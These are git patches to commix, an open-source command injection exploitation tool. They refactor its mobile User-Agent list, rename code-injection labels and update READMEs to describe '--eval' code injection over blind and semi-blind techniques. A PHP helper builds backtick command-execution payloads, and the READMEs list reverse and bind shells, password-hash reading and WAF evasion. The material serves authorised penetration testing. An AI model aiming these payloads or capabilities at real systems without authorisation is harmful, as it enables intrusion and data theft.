+SUPPORTED_EVAL_LANGUAGES = _eval.supported() + +""" +Point the code injection grammar at one language, so that everything derived from it - the probe, +the boundaries, the functions that run a command - is that language's rather than the default's. +""" +def set_eval_grammar(language): + global EVAL_GRAMMAR, EVAL_PROBE_PAYLOADS, EVAL_PROBE_REGEX, EVAL_WARNINGS + global EXECUTION_FUNCTIONS_LVL1, EXECUTION_FUNCTIONS_LVL2, EXECUTION_FUNCTIONS_LVL3 + global EVAL_SEPARATORS_LVL1, EVAL_SEPARATORS_LVL2, EVAL_SEPARATORS_LVL3 + global EVAL_PREFIXES_LVL1, EVAL_PREFIXES_LVL2, EVAL_PREFIXES_LVL3 + global EVAL_SUFFIXES_LVL1, EVAL_SUFFIXES_LVL2, EVAL_SUFFIXES_LVL3 + EVAL_GRAMMAR = _eval.grammar(language) + EVAL_PROBE_PAYLOADS = EVAL_GRAMMAR.PROBE_PAYLOADS + EVAL_PROBE_REGEX = EVAL_GRAMMAR.PROBE_REGEX + EVAL_WARNINGS = EVAL_GRAMMAR.WARNINGS + EXECUTION_FUNCTIONS_LVL1 = EVAL_GRAMMAR.EXECUTION_FUNCTIONS_LVL1 + EXECUTION_FUNCTIONS_LVL2 = EVAL_GRAMMAR.EXECUTION_FUNCTIONS_LVL2 + EXECUTION_FUNCTIONS_LVL3 = EVAL_GRAMMAR.EXECUTION_FUNCTIONS_LVL3 + EVAL_SEPARATORS_LVL1 = EVAL_GRAMMAR.SEPARATORS_LVL1 + EVAL_SEPARATORS_LVL2 = EVAL_GRAMMAR.SEPARATORS_LVL2 + EVAL_SEPARATORS_LVL3 = EVAL_GRAMMAR.SEPARATORS_LVL3 + EVAL_PREFIXES_LVL1 = EVAL_GRAMMAR.PREFIXES_LVL1 + EVAL_PREFIXES_LVL2 = EVAL_GRAMMAR.PREFIXES_LVL2 + EVAL_PREFIXES_LVL3 = EVAL_GRAMMAR.PREFIXES_LVL3 + EVAL_SUFFIXES_LVL1 = EVAL_GRAMMAR.SUFFIXES_LVL1 + EVAL_SUFFIXES_LVL2 = EVAL_GRAMMAR.SUFFIXES_LVL2 + EVAL_SUFFIXES_LVL3 = EVAL_GRAMMAR.SUFFIXES_LVL3 +EVAL_ALL_LANGUAGES = 'all' +# Said once per run, however many parameters the heuristic sees an evaluation sink on. +EVAL_SUGGESTED = False # Supported injection types class INJECTION_TYPE(object): RESULTS_BASED_CI = "results-based command injection" - RESULTS_BASED_CE = "results-based dynamic code evaluation" + RESULTS_BASED_CE = "results-based code injection" BLIND = "blind command injection" - BLIND_CE = "blind dynamic code evaluation" + BLIND_CE = "blind code injection" SEMI_BLIND = "semi-blind command injection" # Supported injection techniques @@ -1858,7 +1884,7 @@ class END_LINE: "LAST_LOGGED_PARAMETER", "LAST_SELECTED_MODULE", "LIKELY_RESUME", "LOGGED_FINDINGS_HEADER", "MULTI_REQUEST_TARGETS", "MULTI_TARGETS", "OS_CHECKS_NUM", "PROGRESS_LINE_OPEN", "READLINE_ERROR", "SESSION_FILE", "SHOW_LOGS_MSG", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", - "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", + "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "VALIDATION_RUN", "VISIBLE_CONNECTION_ERRORS", "WARNED_HTTP_ERROR_CODES", # Set by the connection to whichever target is in hand, before this reset can be reached. "HOSTNAME", "SCHEME", "TARGET_NETLOC", "TARGET_URL", From d3ad7ac35129071cba0bce3ce19081c74e222fb9 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 13 Sep 2026 11:04:18 +0300 Subject: [PATCH 0786/1023] Trivial update --- src/core/eval/php.py | 2 + src/core/injections/controller/checks.py | 24 ++++++------ src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/execution.py | 2 + src/core/injections/controller/parser.py | 4 +- src/core/main.py | 2 +- src/core/requests/authentication.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/tor.py | 2 +- src/txt/mobile-user-agents.txt | 25 ++++++------ src/utils/common.py | 18 +++++++++ src/utils/menu.py | 40 +++++--------------- src/utils/requirements.py | 2 +- src/utils/session_handler.py | 4 +- src/utils/settings.py | 5 ++- 15 files changed, 70 insertions(+), 66 deletions(-) diff --git a/src/core/eval/php.py b/src/core/eval/php.py index 3bac247c97..d27003ff74 100644 --- a/src/core/eval/php.py +++ b/src/core/eval/php.py @@ -70,3 +70,5 @@ def print_statement(separator, commands, chain=None): if separator == "": return "print(" + ".".join("`" + command + "`" for command in commands) + ")" return "print(`" + (chain or separator).join(commands) + "`)%3B" + +# eof diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8e8e8bd2ee..09b8e6b3d9 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -294,18 +294,16 @@ def skipping_technique(technique, injection_type, state): Prompt the user to select a mobile User-Agent string. """ def mobile_user_agents(): - menu.mobile_user_agents() - - # Load the mobile user-agent list from file - mobile_agents = common.load_list_from_file(settings.MOBILE_USER_AGENT_LIST, "mobile user-agent list") + devices, default_index = common.load_mobile_user_agents() + menu.mobile_user_agents(devices, default_index) while True: - message = "Which smartphone do you want to imitate through HTTP User-Agent header? " - mobile_user_agent = common.read_input(message, default="1", check_batch=True) + message = "Which smartphone do you want commix to imitate through HTTP User-Agent header? " + mobile_user_agent = common.read_input(message, default=str(default_index + 1), check_batch=True) try: choice = int(mobile_user_agent) - if choice in range(1, len(mobile_agents) + 1): - return mobile_agents[choice - 1] + if choice in range(1, len(devices) + 1): + return devices[choice - 1][1] else: common.invalid_option(mobile_user_agent) except ValueError: @@ -1252,7 +1250,7 @@ def no_readline_module(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) """ -Check for incompatible OS (i.e Unix). +Check for incompatible OS (i.e. Unix). """ def ps_incompatible_os(): if not settings.TARGET_OS == settings.OS.WINDOWS: @@ -1353,7 +1351,7 @@ def check_url(url): return _urllib.parse.urlsplit(url) except ValueError: err_msg = "Invalid target URL provided. " - err_msg += "Please ensure there are no leftover characters (e.g., '[' or ']') " + err_msg += "Please ensure there are no leftover characters (e.g. '[' or ']') " err_msg += "in the hostname part." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1569,7 +1567,7 @@ def third_party_dependencies(): """ def http_auth_err_msg(): err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (e.g., --auth-cred=\"admin:admin\"), " + err_msg += "HTTP authentication credentials (e.g. '--auth-cred=admin:admin'), " err_msg += "or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized) " err_msg += "and continue tests without providing valid credentials." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -2216,7 +2214,7 @@ def whitespace_check(payload): settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2) """ -Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads. +Check for symbols (i.e. "`", "^", "$@" etc) between the characters of the generated payloads. """ def other_symbols(payload): # Implemented check to replace each character in a user-supplied OS command with a random case. @@ -4217,7 +4215,7 @@ def set_python_working_dir(): if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - message = "Please specify the full path to the Python interpreter executable (e.g., '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') " + message = "Please specify the full path to the Python interpreter executable (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') " settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) settings.USER_DEFINED_PYTHON_DIR = True break diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 7c699e60de..f8c8c486b0 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -848,7 +848,7 @@ def inject_header(header_attr, option_attr, injection_flag_attr): # Enable the corresponding injection flag setattr(settings, injection_flag_attr, True) - # Get the header name (e.g., "user-agent", "referer", "host") + # Get the header name (e.g. "user-agent", "referer", "host") header_name = getattr(settings, header_attr).lower() settings.HTTP_HEADER = check_parameter = header_name diff --git a/src/core/injections/controller/execution.py b/src/core/injections/controller/execution.py index 3029ac2712..406965e394 100644 --- a/src/core/injections/controller/execution.py +++ b/src/core/injections/controller/execution.py @@ -113,3 +113,5 @@ def execute_cmd(cmd): shell = stored return shell, fresh return execute_cmd + +# eof diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 1318bf9f87..6e97972c4e 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -201,7 +201,7 @@ def _parse_request(request, request_file): elif target["auth_type"].lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.auth_cred: err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " + err_msg += "HTTP authentication credentials (i.e. '--auth-cred=admin:admin') " settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -304,7 +304,7 @@ def parse_requests(request_file): return targets """ -Parse target and data from http proxy logs (i.e Burp or WebScarab) +Parse target and data from http proxy logs (i.e. Burp or WebScarab) """ def logfile_parser(): if menu.options.requestfile: diff --git a/src/core/main.py b/src/core/main.py index 871940a3c7..a8493c0895 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -1179,7 +1179,7 @@ def _time_limit_reached(signum, frame): # Enable detection phase settings.DETECTION_PHASE = True - # Parse target and data from HTTP proxy logs (i.e Burp / WebScarab). + # Parse target and data from HTTP proxy logs (i.e. Burp / WebScarab). if menu.options.requestfile and menu.options.logfile: err_msg = "The '-r' option is unlikely to work combined with the '-l' option." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 280f253145..e6220df39b 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -211,7 +211,7 @@ def report(username, password, succeeded): return valid_pair err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " + err_msg += "HTTP authentication credentials (i.e. '--auth-cred=admin:admin') " err_msg += "or place another dictionary in the '" err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory." settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_critical_msg(err_msg)) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 93aed01cb4..b686e7c1de 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -318,7 +318,7 @@ def https_open(self, req): stability.reset_connection_error_budget() return response - # This is useful when handling exotic HTTP errors (i.e requests for authentication). + # This is useful when handling exotic HTTP errors (i.e. requests for authentication). except _urllib.error.HTTPError as err: if not menu.options.drop_set_cookie: cookies.handle_server_cookies(err) diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 2722529154..fd7e371dfb 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -26,7 +26,7 @@ def tor_connection_error(): err_msg = "Could not establish a Tor connection. " err_msg += "Please ensure Tor is running and reachable" - err_msg += " and that any provided options (e.g., '--tor-port') are correct." + err_msg += " and that any provided options (e.g. '--tor-port') are correct." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise SystemExit() diff --git a/src/txt/mobile-user-agents.txt b/src/txt/mobile-user-agents.txt index f4d396c2e5..a11621b200 100644 --- a/src/txt/mobile-user-agents.txt +++ b/src/txt/mobile-user-agents.txt @@ -1,11 +1,14 @@ -Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+ -Mozilla/5.0 (Linux; Android 7.0; SM-G931V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3171.125 Mobile Safari/537.36 -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6310) -Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36 -Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36 -Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 -Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.14977 -Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 -Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344 -Mozilla/5.0 (Linux; Android 8.0.0; Pixel Build/OPR3.170623.013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36 -Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; MI 3W Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1 \ No newline at end of file +# Smartphone HTTP User-Agent headers offered by the '--mobile' switch. +# One device per line, as "name<TAB>user-agent" - the name is what the menu lists, so the two +# cannot drift apart. The default is marked with a leading '*'. +Apple iPhone 15 Pro Max * Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.7 Mobile/15E148 Safari/604.1 +BlackBerry Z10 Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+ +Google Nexus 7 Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 +Google Pixel 9 Mozilla/5.0 (Linux; Android 14; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Mobile Safari/537.36 +HP iPAQ 6365 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300) +HTC One X2 Mozilla/5.0 (Linux; Android 14; X2-HT) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.46 Mobile Safari/537.36 +Huawei Honor 90 Pro Mozilla/5.0 (Linux; Android 15; REP-AN00 Build/HONORREP-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/133.0.6943.137 Mobile Safari/537.36 +Microsoft Lumia 950 XL Mozilla/5.0 (Windows Mobile 10; Android 10.0; Microsoft; Lumia 950XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36 Edge/40.15254.603 +Nokia N97 Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344 +Samsung Galaxy A54 Mozilla/5.0 (Linux; Android 15; SM-A546B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.155 Mobile Safari/537.36 +Xiaomi Redmi 15C Mozilla/5.0 (Linux; Android 15; REDMI 15C Build/AP3A.240905.015.A2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.118 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.43.0-gn diff --git a/src/utils/common.py b/src/utils/common.py index e34854ec51..bb73039303 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -429,6 +429,24 @@ def unhandled_exception(): """ Load a list of non-empty lines from a text file. """ +""" +Read the smartphone list: every line carries the device name, an optional '*' marking the default, +and the User-Agent header itself, so a name can never end up against the wrong header. +""" +def load_mobile_user_agents(): + devices, default_index = [], 0 + for line in load_list_from_file(settings.MOBILE_USER_AGENT_LIST, "mobile user-agent list"): + if line.startswith("#"): + continue + fields = [field.strip() for field in line.split("\t") if field.strip()] + if len(fields) < 2: + continue + if len(fields) > 2 and fields[1] == "*": + default_index = len(devices) + fields = [fields[0], fields[-1]] + devices.append((fields[0], fields[-1])) + return devices, default_index + def load_list_from_file(file_path, description="file"): if not os.path.isfile(file_path): diff --git a/src/utils/menu.py b/src/utils/menu.py index 6bc2fc92c5..69be14131c 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -845,21 +845,6 @@ def _(self, *args): ) -MOBILE_USER_AGENTS = ( - ("1", "BlackBerry Z10"), - ("2", "Samsung Galaxy S7"), - ("3", "HP iPAQ 6365"), - ("4", "HTC 10"), - ("5", "Huawei P8"), - ("6", "Apple iPhone 8"), - ("7", "Microsoft Lumia 950"), - ("8", "Google Nexus 7"), - ("9", "Nokia N97"), - ("10", "Google Pixel"), - ("11", "Xiaomi Mi 3"), -) - - """ Render a command reference table, msfconsole-style: a title/underline, then an aligned "Command Description" table. @@ -942,23 +927,18 @@ def render_row(name, current, required, description): settings.print_data_to_stdout(message.rstrip() + "\n") -def _print_mobile_user_agents(): - message = ( - Style.BRIGHT - + "Available smartphones HTTP User-Agent headers:" - + Style.RESET_ALL - + "\n" - ) - - for option, device in MOBILE_USER_AGENTS: +def _print_mobile_user_agents(devices, default_index): + message = "" + for index, (device, _) in enumerate(devices): message += ( - "Type '" + "[" + Style.BRIGHT - + option + + str(index + 1) + Style.RESET_ALL - + "' for " + + "] " + device - + ".\n" + + (" (default)" if index == default_index else "") + + "\n" ) settings.print_data_to_stdout(message.rstrip()) @@ -976,8 +956,8 @@ def bind_tcp_options(): _print_options("bind_tcp", BIND_TCP_OPTIONS) -def mobile_user_agents(): - _print_mobile_user_agents() +def mobile_user_agents(devices, default_index): + _print_mobile_user_agents(devices, default_index) """ The tab compliter (shell options). diff --git a/src/utils/requirements.py b/src/utils/requirements.py index 18d95a6179..7c9e65e12e 100644 --- a/src/utils/requirements.py +++ b/src/utils/requirements.py @@ -21,7 +21,7 @@ def do_check(requirement): try: # Pipe output to the file path of the null device, for silence. - # i.e '/dev/null' for POSIX, 'nul' for Windows + # i.e. '/dev/null' for POSIX, 'nul' for Windows with open(os.devnull,"w") as null: subprocess.Popen(requirement, stdout=null, stderr=null) return True diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 766c683bdb..e262d0aee1 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -437,7 +437,7 @@ def check_stored_injection_points(url, check_parameter, http_request_method): if technique and checks.technique_selected(technique, technique_is_eval): found = True - # Prefer more specific vulnerable parameter (e.g., HTTP header), if available + # Prefer more specific vulnerable parameter (e.g. HTTP header), if available vuln_parameter = vuln_param or http_header session_url = session[1] @@ -712,7 +712,7 @@ def reapply_testable_value(url, vuln_parameter, http_request_method, prefix=None return (url, prefix) if prefix is not None else url """ -Save valid authentication credentials (e.g., username and password) discovered during testing into the session database. +Save valid authentication credentials (e.g. username and password) discovered during testing into the session database. """ def import_valid_credentials(url, authentication_type, admin_panel, username, password): try: diff --git a/src/utils/settings.py b/src/utils/settings.py index 89572ea676..9c419d34fb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -332,7 +332,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "126" +REVISION = "127" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1849,7 +1849,6 @@ class END_LINE: PCRE_MODIFIER = "/e" -# eof """ State that belongs to the run and not to any one target: what the user asked for on the command @@ -1930,3 +1929,5 @@ def reset_target_state(options=None): if options is not None: for name, value in _OPTIONS_BASELINE.items(): setattr(options, name, copy.deepcopy(value)) + +# eof From 6aedd1f4bce454411691715db10b8233f652a336 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 13 Sep 2026 11:05:05 +0300 Subject: [PATCH 0787/1023] The `--eval` switch now also reaches the time-based and file-based techniques, so code injection is proven blind and semi-blind as well as results-based --- README.md | 10 +- doc/CHANGELOG.md | 1 + doc/translations/README-es-ES.md | 5 +- doc/translations/README-fa-FA.md | 5 +- doc/translations/README-fr-FR.md | 5 +- doc/translations/README-gr-GR.md | 5 +- doc/translations/README-idn-IDN.md | 5 +- doc/translations/README-tr-TR.md | 5 +- src/core/eval/php.py | 67 ++++++- .../blind/techniques/eval/__init__.py | 16 ++ .../blind/techniques/eval/eb_payloads.py | 120 ++++++++++++ .../blind/techniques/oob/oob_injector.py | 16 ++ .../blind/techniques/oob/oob_payloads.py | 7 +- .../techniques/time_based/tb_payloads.py | 30 +-- src/core/injections/controller/checks.py | 180 ++++++++++++++---- src/core/injections/controller/controller.py | 107 ++++++++--- src/core/injections/controller/enumeration.py | 28 ++- src/core/injections/controller/execution.py | 15 +- src/core/injections/controller/file_access.py | 9 +- src/core/injections/controller/handler.py | 92 +++++---- src/core/injections/controller/injector.py | 121 +++++++++--- .../techniques/eval/eb_payloads.py | 96 ++-------- .../semiblind/techniques/eval/__init__.py | 16 ++ .../semiblind/techniques/eval/fb_payloads.py | 82 ++++++++ .../semiblind/techniques/eval/tfb_payloads.py | 125 ++++++++++++ .../techniques/tempfile_based/tfb_handler.py | 10 +- .../techniques/tempfile_based/tfb_payloads.py | 24 +-- src/core/main.py | 11 +- src/core/modules/shellshock/shellshock.py | 7 +- src/core/requests/authentication.py | 1 + src/core/requests/headers.py | 7 + src/core/requests/parameters.py | 9 +- src/core/requests/redirection.py | 21 +- src/core/requests/reproduce.py | 20 +- src/core/requests/requests.py | 41 +++- src/core/requests/stability.py | 22 ++- src/core/shells/bind_tcp.py | 8 +- src/core/shells/reverse_tcp.py | 8 +- src/core/tamper/multiplespaces.py | 13 +- src/core/tamper/nested.py | 14 +- src/core/tamper/randomcase.py | 7 +- src/core/tamper/rev.py | 7 +- src/utils/menu.py | 10 +- src/utils/session_handler.py | 74 +++++-- src/utils/settings.py | 63 +++++- 45 files changed, 1198 insertions(+), 347 deletions(-) create mode 100644 src/core/injections/blind/techniques/eval/__init__.py create mode 100644 src/core/injections/blind/techniques/eval/eb_payloads.py create mode 100644 src/core/injections/semiblind/techniques/eval/__init__.py create mode 100644 src/core/injections/semiblind/techniques/eval/fb_payloads.py create mode 100644 src/core/injections/semiblind/techniques/eval/tfb_payloads.py diff --git a/README.md b/README.md index c206c2319a..ed7ad8308a 100644 --- a/README.md +++ b/README.md @@ -26,20 +26,22 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c > [changelog](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) before updating. > > Commix is primarily built to be used as a standalone CLI tool, and it executes operating system -> commands on the targets it tests. **Running commix as a service may pose security risks.** It is -> recommended to use it with caution, and only against systems you own or have explicit +> commands on the targets it tests. **Running commix as a service may pose security risks.** +> +> It is recommended to use it with caution, and only against systems you own or have explicit > authorisation to test. ## Features -* **Five injection techniques** - classic, dynamic code evaluation, time-based, file-based (with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. +* **Four injection techniques** - classic (results-based), time-based (blind), file-based (semi-blind, with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. +* **Code injection** - `--eval` tests the string a target evaluates as code, over the same four techniques. * **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. * **Interactive shells** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, and file `download`/`upload` over the established shell. * **Enumeration and file access** - current user, hostname, privileges, system information, users and password hashes; read from and write to files on the target host. * **Filter and WAF evasion** - Multiple combinable tamper scripts, applied in a deterministic order. * **Flexible targeting** - a single URL, a crawl, HTML forms, a sitemap, a proxy log, a bulk file, a raw HTTP request file, or piped `stdin`. * **Resumable scans** - results are stored per target in a session file, and can be exported to JSON. -* **Wide back-end support** - PHP, Python, Perl, Ruby and CGI, with experimental support for ASP.NET and JSP. +* **Wide back-end support** - PHP, Python, Perl, Ruby, ASP.NET, JSP and CGI. ## Installation diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ba93f24196..a945513238 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: The `--eval` switch now also reaches the time-based and file-based techniques, so code injection is proven blind and semi-blind as well as results-based. * Added: New `--eval` switch to test for code injection, optionally naming a language (e.g. `--eval="php"`), which combines with any technique given with `--technique`. * Fixed: The out-of-band (DNS) payloads chain their own commands with the separator being tested, instead of always with `||`. * Fixed: Several issues affecting the response-time model, the identification of the target's operating system, stored session data, and the files left on the target. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index a0bd85a857..6392349f6f 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -34,14 +34,15 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi ## Características -* **Cinco técnicas de inyección** - classic, dynamic code evaluation, time-based, file-based (con una variante tempfile-based para objetivos con escritura restringida) y out-of-band (OAST) sobre HTTP/S y DNS. +* **Cuatro técnicas de inyección** - classic (basada en resultados), time-based (a ciegas), file-based (semi a ciegas, con una variante tempfile-based para objetivos con escritura restringida) y out-of-band (OAST) sobre HTTP/S y DNS. +* **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, con las mismas cuatro técnicas. * **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. * **Shells interactivas** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, y transferencia de archivos (`download`/`upload`) a través de la shell establecida. * **Enumeración y acceso a archivos** - usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas; lectura y escritura de archivos en el objetivo. * **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables, aplicados en un orden determinista. * **Objetivos flexibles** - una única URL, un rastreo del sitio, formularios HTML, un sitemap, un registro de proxy, un archivo con varios objetivos, un archivo con una petición HTTP en bruto o entrada por `stdin`. * **Análisis reanudables** - los resultados se almacenan por objetivo en un archivo de sesión y pueden exportarse a JSON. -* **Amplio soporte de back-end** - PHP, Python, Perl, Ruby y CGI, con soporte experimental para ASP.NET y JSP. +* **Amplio soporte de back-end** - PHP, Python, Perl, Ruby, ASP.NET, JSP y CGI. ## Instalación diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index 9084d0c2ce..9aab4e9e7c 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -34,14 +34,15 @@ ## ویژگی‌ها -* **پنج تکنیک تزریق** - classic، dynamic code evaluation، time-based، file-based (به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن) و out-of-band (OAST) روی HTTP/S و DNS. +* **چهار تکنیک تزریق** - classic (مبتنی بر نتیجه)، time-based (کور)، file-based (نیمه‌کور، به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن) و out-of-band (OAST) روی HTTP/S و DNS. +* **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، با همان چهار تکنیک آزمایش می‌کند. * **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. * **پوسته‌های تعاملی** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، و انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده. * **شمارش و دسترسی به فایل** - کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها؛ خواندن و نوشتن فایل روی هدف. * **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. * **هدف‌گذاری انعطاف‌پذیر** - یک URL، پویش سایت، فرم‌های HTML، sitemap، گزارش پروکسی، فایل چندهدفی، فایل درخواست خام HTTP یا ورودی `stdin`. * **پویش‌های قابل ازسرگیری** - نتایج به تفکیک هدف در یک فایل نشست ذخیره می‌شوند و می‌توان آن‌ها را به JSON خروجی گرفت. -* **پشتیبانی گسترده از بک‌اند** - PHP، Python، Perl، Ruby و CGI، با پشتیبانی آزمایشی از ASP.NET و JSP. +* **پشتیبانی گسترده از بک‌اند** - PHP، Python، Perl، Ruby، ASP.NET، JSP و CGI. ## نصب و راه‌اندازی diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 9474586464..f61e87d931 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -34,14 +34,15 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co ## Fonctionnalités -* **Cinq techniques d'injection** - classic, dynamic code evaluation, 